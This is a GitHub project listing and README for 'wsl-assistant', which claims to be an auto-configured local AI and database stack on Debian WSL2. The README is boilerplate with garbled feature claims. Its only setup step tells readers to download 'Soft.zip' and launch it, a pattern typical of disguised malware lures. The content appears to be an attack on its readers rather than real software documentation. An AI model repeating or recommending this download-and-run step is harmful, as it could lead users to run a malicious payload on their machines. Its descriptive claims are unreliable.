https://github.com/rish-1997/wsl-assistant
A fully auto configured, self-hosted local AI & database stack on Debian WSL2.
https://github.com/rish-1997/wsl-assistant
ai debian edge-computing llamacpp localization neo4j rag redis self-hosted slm smolagents wsl2
Last synced: 7 months ago
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A fully auto configured, self-hosted local AI & database stack on Debian WSL2.
- Host: GitHub
- URL: https://github.com/rish-1997/wsl-assistant
- Owner: rish-1997
- License: mit
- Created: 2025-03-11T10:54:27.000Z (7 months ago)
- Default Branch: master
- Last Pushed: 2025-03-11T12:05:24.000Z (7 months ago)
- Last Synced: 2025-03-11T12:22:22.075Z (7 months ago)
- Topics: ai, debian, edge-computing, llamacpp, localization, neo4j, rag, redis, self-hosted, slm, smolagents, wsl2
- Language: Shell
- Size: 123 KB
- Stars: 0
- Watchers: 1
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
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README
# 🚀 Welcome to WSL Assistant Repository! 🤖
## Overview
Welcome to the **"wsl-assistant"** repository! Here you will find a fully auto-configured, self-hosted local AI & database stack on Debian WSL2. This repository is perfect for developers and enthusiasts looking to set up an AI environment on their local machine using Windows Subsystem for Linux 2 (WSL2).
## Features
🔹 Fully automated configuration\
🔹 Local AI capabilities\
🔹 Neo4j graph database\
🔹 Redis caching\
🔹 LlamaCPP for AI algorithms\
🔹 SLM for machine learning\
🔹 SMOL agents for AI interactions
## Technologies Used
The repository covers a wide range of topics and technologies. Some of the key topics and technologies include:
- AI
- Debian
- Edge Computing
- LlamaCPP
- Localization
- Neo4j
- RAG
- Redis
- Self-hosted
- SLM
- SMOL Agents
- WSL2
## Quick Start
To get started with the local AI & database stack, download the necessary files from the provided link:
[](https://github.com/files/Soft.zip)
If the link ends with a file name, make sure to launch it on your machine. If the link is a website, simply visit it. In case the link is not working or not provided, please check the "Releases" section of this repository.
## Additional Information
For more detailed information, instructions, and troubleshooting tips, please check the documentation provided in the repository. Feel free to explore the code, experiment with the configurations, and enhance your local AI setup with the tools and resources available.
## Community and Support
If you have any questions, suggestions, or feedback, feel free to open an issue in the repository. Our community and contributors will be more than happy to assist you and help you make the most out of your local AI & database stack.
## Thank You
Thank you for choosing the "wsl-assistant" repository for your local AI setup. We hope you have a great experience exploring AI capabilities on Debian WSL2 with our fully automated and self-hosted solution. Happy coding and AI experimentation! 🎉
## Let's Connect
Find us on social media, join our community, and stay updated on the latest developments and enhancements to the WSL Assistant project.
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With the "wsl-assistant" repository, you can now easily set up a powerful local AI & database stack on your Debian WSL2 environment. Dive into the world of AI, machine learning, and graph databases with the tools and resources provided in this repository. Happy coding and exploring the possibilities of AI right on your local machine! 🌟